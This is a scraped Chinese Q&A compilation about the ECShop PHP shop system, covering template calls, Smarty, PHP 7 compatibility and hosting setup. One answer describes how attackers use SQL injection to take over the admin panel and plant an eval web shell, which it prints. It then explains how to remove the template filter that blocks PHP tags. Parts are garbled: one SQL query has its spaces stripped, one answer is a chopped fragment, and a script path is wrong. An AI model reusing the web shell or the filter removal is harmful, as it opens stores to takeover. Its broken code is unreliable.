ecshopphp
⑴ ecshop php怎麼調用方法
函數沒有讀取數據出來,返回的是sql語句而已,需要讀取數據,並返回數組才可以:
functionget_index_brand()
{
$sql="selectbrand_id,brand_name,brand_logo,site_urlfrom".$GLOBALS['ecs']->table('brand')."whereis_show='1'orderbysort_orderdesclimit24";
return$GLOBALS['db']->getAll($sql);//讀取數據。
}
⑵ ecshop 下面php代碼如何 轉換到ecshop模版調用輸出
你可以直接在php文件內操作哦,比如你想在index.dwt里調用,那你可以在index.php 把你寫的函數加進去然後 再index.php 里加入
$content=getline($file); //$file我不大清楚你傳的是哪裡的值
$smarty->assign('res', $content);
index.dwt里 直接{$res}就可以了
⑶ 怎麼去掉ecshop模板文件過濾php標簽
最好不要在模板裡面寫php。會導致sql注入,引起後台賬號泄露。
ECshop的模板是支持php代碼的,這個給一些不法分子創造了掛馬的機會,這些不法分子掛馬步驟很可能是:
1、通過ecshop的漏洞搞SQL注入,暴出管理員密碼md5值,然後通過**md5得到管理密碼。(注:防止暴出管理密碼md5值的方法是關閉display_errors,並且修改cls_mysql.php里的ErrorMsg函數,注釋掉所有錯誤輸出代碼或把錯誤寫入文件)
2、進入管理後台,通過模板管理->庫項目管理,編輯lbi文件,添加php代碼,例如<?php @eval($_POST['lx']);?>
3、到這里,就完全控制這個站了,想掛什麼馬就掛什麼馬。
可見,ECshop的模板支持php代碼這點是非常危險的,因此我們應該過濾模板里的所有php代碼。
如果實在要去掉ecshop模板文件過濾php標簽
修改 includes/cls_template.php
可以遵循以下步驟:
去掉第288-299行以下代碼:
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
這樣,模板里的php代碼就被保留了。
⑷ ecshop與php7不兼容怎麼解決
ecshop適應PHP7的修改;說實話,ecshop這個系統,到目前也沒見怎麼推;1、將mysql擴展的使用替換掉,改為使用mys;從php5.5開始,mysql擴展將廢棄了;具體更改的文件在於includes/cls_my;if(!defined('DITAN_E;die('Hackingattempt&;classcls_mysql;va
⑸ ecshop 中的php文件和 dwt文件 是怎麼樣聯系在一起的
ecshop使用了smarty模板引擎。輸出的時候是直接對應相應的文件。所以你會出現.dwt 文件你可以看看smarty的一些教程就知道了!
⑹ ECSHOP裡面怎樣引用2個PHP
ecshop 首頁引用的是index.dwt模板文件,存放目錄為themes/default/index.dwt,
在index.php中通過 $smarty -> display('index.dwt') 來調用
在這個模板文件中引用了兩個庫文件,也就是頭部和底部,引用方式為
<!-- #BeginLibraryItem "/library/page_heaer.lbi" --><!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/page_footer.lbi" --><!-- #EndLibraryItem -->
庫文件存放目錄為themes/default/library/ ,庫文件都是以.lbi結尾的,
然後首頁又引用了n個js文件,引用方式為
{insert_scripts files='transport.js'}
還有一一種方式可以一次性引入多個
{insert_scripts files='common.js,index.js'}
存放在根目錄下面的js文件夾下面,自己寫也可以自己寫路徑,大眾化的路徑也可以寫,不過要相對於根目錄來寫路徑,比如這個文件 themes/default/js/jquery.js
可以在模板文件里這樣引入
<script src='themes/default/js/jquery.css'></script>
不要相對於模板文件所在的目錄,要相對於根目錄所在的目錄
⑺ 商派ecshop3.0 php是什麼操作系統
ecshop是一個網站系統源碼,運行環境是(Windows版) Apache+MySQL+PHP+phpMyAdmin,這個不是什麼操作系統
⑻ ecshop 需要什麼版本的php
需要5.4以下的php版本 因為5.4以上版本的php安裝ecshop會出現問題
⑼ ecshop模板文件能執行php代碼嗎
ECSHOP是使用PHP語言進行書寫的,因此擁有運行PHP的安裝環境,所以是能夠在模板文件上進行運行PHP代碼的.所有由PHP語言書寫的CMS系統均可以運行PHP語言!
⑽ 關於用ecshop建站時PHP環境的搭建問題
php環境搭建的工具有很多啦。一鍵安裝包可以參考phpstudy,phpenv、寶塔windows面板等等。常用與否這是是個人習慣了,用著順手就好了。
你說那個如果不好用,還是換個我說的這幾個吧,本地測試好用。